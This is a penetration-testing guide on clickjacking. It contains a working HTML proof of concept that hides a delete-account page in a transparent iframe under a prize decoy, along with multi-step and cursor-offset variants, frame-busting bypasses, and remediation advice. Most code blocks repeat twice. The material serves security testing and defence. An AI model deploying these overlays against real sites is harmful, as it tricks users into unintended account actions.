Exploitation A04

Clickjacking

Clickjacking (UI redress attack) loads a target page in a transparent iframe over a decoy page. When users think they're clicking on the decoy, they're actually interacting with the hidden target page — enabling unauthorized actions like changing settings, deleting accounts, approving transactions, or granting permissions.

Detection — Can the Page Be Framed?

bash
# Check frame protection headers:
curl -sI https://target.com/settings | grep -iE 'x-frame-options|content-security-policy'

# X-Frame-Options values:
# DENY — cannot be framed at all (SAFE)
# SAMEORIGIN — can only be framed by same origin (SAFE)
# ALLOW-FROM https://example.com — specific origin (partial protection)
# (missing header) — VULNERABLE to clickjacking!

# CSP frame-ancestors:
# Content-Security-Policy: frame-ancestors 'none' (equivalent to DENY)
# Content-Security-Policy: frame-ancestors 'self' (equivalent to SAMEORIGIN)
# Content-Security-Policy: frame-ancestors https://example.com

# Quick test — create a local HTML file:
# If the page loads in the iframe → clickjacking possible
# Check frame protection headers:
curl -sI https://target.com/settings | grep -iE 'x-frame-options|content-security-policy'

# X-Frame-Options values:
# DENY — cannot be framed at all (SAFE)
# SAMEORIGIN — can only be framed by same origin (SAFE)
# ALLOW-FROM https://example.com — specific origin (partial protection)
# (missing header) — VULNERABLE to clickjacking!

# CSP frame-ancestors:
# Content-Security-Policy: frame-ancestors 'none' (equivalent to DENY)
# Content-Security-Policy: frame-ancestors 'self' (equivalent to SAMEORIGIN)
# Content-Security-Policy: frame-ancestors https://example.com

# Quick test — create a local HTML file:
# If the page loads in the iframe → clickjacking possible

Basic Clickjacking PoC

html
<!-- Save as clickjack-poc.html and open in browser -->
<!DOCTYPE html>
<html>
<head>
  <title>Clickjacking PoC</title>
  <style>
    #decoy {
      position: absolute;
      top: 0; left: 0;
      width: 100%; height: 100%;
      z-index: 1;
    }
    #target-iframe {
      position: absolute;
      top: 0; left: 0;
      width: 100%; height: 100%;
      opacity: 0.0001; /* Nearly invisible */
      z-index: 2;
      border: none;
    }
    .click-me-button {
      position: absolute;
      top: 300px; left: 200px;
      padding: 20px 40px;
      background: #4CAF50;
      color: white;
      font-size: 24px;
      cursor: pointer;
    }
  </style>
</head>
<body>
  <div id="decoy">
    <h1>Win a Free Prize!</h1>
    <div class="click-me-button">Click Here to Claim!</div>
  </div>
  <!-- Target iframe positioned so the sensitive button aligns -->
  <!-- with the decoy "Click Here" button -->
  <iframe id="target-iframe" src="https://target.com/settings/delete-account"></iframe>
</body>
</html>
<!-- Save as clickjack-poc.html and open in browser -->
<!DOCTYPE html>
<html>
<head>
  <title>Clickjacking PoC</title>
  <style>
    #decoy {
      position: absolute;
      top: 0; left: 0;
      width: 100%; height: 100%;
      z-index: 1;
    }
    #target-iframe {
      position: absolute;
      top: 0; left: 0;
      width: 100%; height: 100%;
      opacity: 0.0001; /* Nearly invisible */
      z-index: 2;
      border: none;
    }
    .click-me-button {
      position: absolute;
      top: 300px; left: 200px;
      padding: 20px 40px;
      background: #4CAF50;
      color: white;
      font-size: 24px;
      cursor: pointer;
    }
  </style>
</head>
<body>
  <div id="decoy">
    <h1>Win a Free Prize!</h1>
    <div class="click-me-button">Click Here to Claim!</div>
  </div>
  <!-- Target iframe positioned so the sensitive button aligns -->
  <!-- with the decoy "Click Here" button -->
  <iframe id="target-iframe" src="https://target.com/settings/delete-account"></iframe>
</body>
</html>

Advanced Clickjacking Variants

html
<!-- Multi-step clickjacking (click multiple buttons in sequence) -->
<script>
let step = 1;
document.addEventListener('click', function() {
  if (step === 1) {
    // Move iframe to align next button
    document.getElementById('target-iframe').style.top = '-200px';
    step = 2;
  } else if (step === 2) {
    // Confirm dialog button is now under cursor
    document.getElementById('target-iframe').style.top = '-400px';
    step = 3;
  }
});
</script>

<!-- Drag-and-drop clickjacking -->
<!-- Use HTML5 drag events to move content between frames -->

<!-- Cursor manipulation -->
<style>
body { cursor: none; }
.fake-cursor {
  position: fixed;
  pointer-events: none;
  /* Offset the visible cursor from actual position */
  transform: translate(200px, 150px);
}
</style>

<!-- Text field injection via clickjacking -->
<!-- Position iframe so user types into hidden form field -->
<!-- Multi-step clickjacking (click multiple buttons in sequence) -->
<script>
let step = 1;
document.addEventListener('click', function() {
  if (step === 1) {
    // Move iframe to align next button
    document.getElementById('target-iframe').style.top = '-200px';
    step = 2;
  } else if (step === 2) {
    // Confirm dialog button is now under cursor
    document.getElementById('target-iframe').style.top = '-400px';
    step = 3;
  }
});
</script>

<!-- Drag-and-drop clickjacking -->
<!-- Use HTML5 drag events to move content between frames -->

<!-- Cursor manipulation -->
<style>
body { cursor: none; }
.fake-cursor {
  position: fixed;
  pointer-events: none;
  /* Offset the visible cursor from actual position */
  transform: translate(200px, 150px);
}
</style>

<!-- Text field injection via clickjacking -->
<!-- Position iframe so user types into hidden form field -->

JavaScript Frame-Busting Bypass

html
<!-- Some sites use JavaScript frame-busting:
if (top !== self) { top.location = self.location; }
-->

<!-- Bypass 1: sandbox attribute -->
<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
<!-- 'sandbox' without 'allow-top-navigation' blocks frame-busting -->

<!-- Bypass 2: Double framing -->
<!-- attacker.com frames middleman.com which frames target.com -->

<!-- Bypass 3: onbeforeunload to prevent navigation -->
<script>
window.onbeforeunload = function() { return ''; };
</script>
<iframe src="https://target.com"></iframe>
<!-- Some sites use JavaScript frame-busting:
if (top !== self) { top.location = self.location; }
-->

<!-- Bypass 1: sandbox attribute -->
<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
<!-- 'sandbox' without 'allow-top-navigation' blocks frame-busting -->

<!-- Bypass 2: Double framing -->
<!-- attacker.com frames middleman.com which frames target.com -->

<!-- Bypass 3: onbeforeunload to prevent navigation -->
<script>
window.onbeforeunload = function() { return ''; };
</script>
<iframe src="https://target.com"></iframe>

Testing Checklist

  1. 1. Check X-Frame-Options and CSP frame-ancestors headers
  2. 2. Create PoC HTML loading the target in an iframe
  3. 3. Test on sensitive state-changing pages (settings, delete, approve, transfer)
  4. 4. Test for JavaScript frame-busters and sandbox bypass
  5. 5. Verify all pages set framing headers (not just the homepage)
  6. 6. Check if CSRF tokens prevent clickjacking impact

Evidence Collection

Headers: Response headers showing missing X-Frame-Options and CSP

PoC: HTML file demonstrating the target page loaded in an iframe

Impact: Screenshot showing what action could be triggered through the overlay

CVSS Range: Generic: 4.3–6.1 | State-changing action: 6.1–7.5

Remediation

  • X-Frame-Options: DENY: Set this header on all pages (or SAMEORIGIN if framing is needed internally).
  • CSP frame-ancestors: Add Content-Security-Policy: frame-ancestors 'none' — this supersedes X-Frame-Options.
  • SameSite cookies: Set SameSite=Lax or Strict on session cookies to prevent cross-origin framed requests.
  • Confirmation steps: Add re-authentication or CAPTCHA for critical actions as defense-in-depth.

False Positive Identification

  • Missing X-Frame-Options on non-sensitive pages: A marketing/public page frameable without X-Frame-Options is informational, not a vulnerability — focus on pages with state-changing actions (settings, transfers, deletions).
  • CSP frame-ancestors present: If CSP with frame-ancestors is set, X-Frame-Options is redundant — check both headers before reporting.
  • Login CSRF via clickjacking: Framing a login page is only impactful if you can demonstrate a realistic attack scenario (e.g., login CSRF with attacker-controlled account).